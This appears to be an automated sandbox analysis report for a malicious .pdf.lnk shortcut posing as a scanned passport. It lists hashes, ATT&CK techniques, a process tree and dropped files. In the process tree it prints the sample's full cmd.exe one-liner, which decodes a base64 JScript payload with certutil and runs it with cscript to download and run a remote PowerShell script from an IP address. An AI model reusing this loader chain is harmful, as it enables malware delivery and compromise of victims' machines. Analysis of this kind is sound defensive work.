d315edb6c327ba0fa47d13468d14d187efcb6584e4eed24e3d96918f4280db46

Analysis

max time kernel
298s
max time network
260s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/07/2026, 03:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ScanPassportiv3.pdf.lnk
Size 16KB
Sample260724-eak41afq7x
SHA256 d315edb6c327ba0fa47d13468d14d187efcb6584e4eed24e3d96918f4280db46
MD5 ce0afd7dea607568c81f78f46f2351b9
SHA1 d173f44ebd437fe87007301edca9d852982cf37a
SHA512 004ca60da82b22bd78983644d5b0f2066e4a912ee324f5529b90fe48df8fb73b72bdaee10fe859be5b3461a271095698fe21466b9c2ef200398007c64b72d25e
SSDEEP 24:8d/fYqOoMgCJWInZNOASp+UOi+Eu+njVHqkqH32uGMmHK3:8lf+nyAy7KEu+njtcXeLK
TLSH
T1D172CC3434E8016DE9F3EE717DE0A7C99C6FB6B3A83116494881420A8C01F40FE96B3B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	852	cscript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation	cmd.exe

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
1348	cmd.exe
2080	certutil.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4680	cmd.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4680 wrote to memory of 1348	4680	cmd.exe	86
PID 1348 wrote to memory of 2080	1348	cmd.exe	87
PID 1348 wrote to memory of 852	1348	cmd.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ScanPassportiv3.pdf.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "pushd C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzE4NS45NS4xNTYuNzQvc3pjaDIxMDcvY29uZ3Jlc3Njb25zaXN0LnBzMSIsZmFsc2UpO2guc2V0UmVxdWVzdEhlYWRlcigiVXNlci1BZ2VudCIsIlVBIFdpbmRvd3NQb3dlclNoZWxsIik7aC5zZW5kKCk7bmV3IEFjdGl2ZVhPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJwb3dlcnNoZWxsLmV4ZSIsIi1Ob1AgLVcgSGlkZGVuIC1DICIraC5yZXNwb25zZVRleHQsIiIsIm9wZW4iLDApOw== > Tqjm.dat && certutil -f -decode Tqjm.dat sgHNv.js >nul && dir Tqjm.dat >nul && cscript //nologo //b sgHNv.js && del Tqjm.dat sgHNv.js"
  2⤵
  - Deobfuscate/Decode Files or Information
  - Suspicious use of WriteProcessMemory
  PID:1348
- - C:\Windows\system32\certutil.exe
    certutil -f -decode Tqjm.dat sgHNv.js
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:2080
- - C:\Windows\system32\cscript.exe
    cscript //nologo //b sgHNv.js
    3⤵
    - Badlisted process makes network request
    PID:852

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Tqjm.dat

Path C:\Users\Admin\AppData\Local\Temp\Tqjm.dat
Size 416B
SHA256 788580d468699dcc3c929e870b4a37bfa43ab4a50a9a2e0b1c32e4cb6d58b202
MD5 d7940a753c17376d98ca8b73345682d4
SHA1 30441f56d5d6e2393aac4a5eb77db46e8cba56da
SHA512 62961c47068640defe6bfc5dae40edb9b51b16db3ce6bb55373b42841d841d146c2b134c84f4db1574a1e6d7e74fc2a6bf4d77f335907bceecee33f72cbdf972
TLSH
T1BEE0A31989C73A4345607446F5A4046AF1C9DF1025255968D7197C9A1DFC3AF84F4228
MD5 SHA1 SHA512 TLSH

Submit Download

sgHNv.js

Path C:\Users\Admin\AppData\Local\Temp\sgHNv.js
Size 307B
SHA256 0a2c8f3e044e854249f0798aa11e3fa06cb5d6f6643c74fdd530e25e11226aca
MD5 74ceb6f460c78109f79329f766756484
SHA1 6797340684b4afc455d98f598427ab766bb4e5f0
SHA512 72f5a5f3b5ce488eaa7c579ad6c6cb2c8ad7f3b539e720551a368046d141229fba2bdf16a4572c50c4a98e54ef14d26280c2539f20db7964e26835b773fa69da
TLSH
T1B4E07D94407490ED50CBDFDC5060CB6482DB81A67002E87FB345CDD52811204115D18E
MD5 SHA1 SHA512 TLSH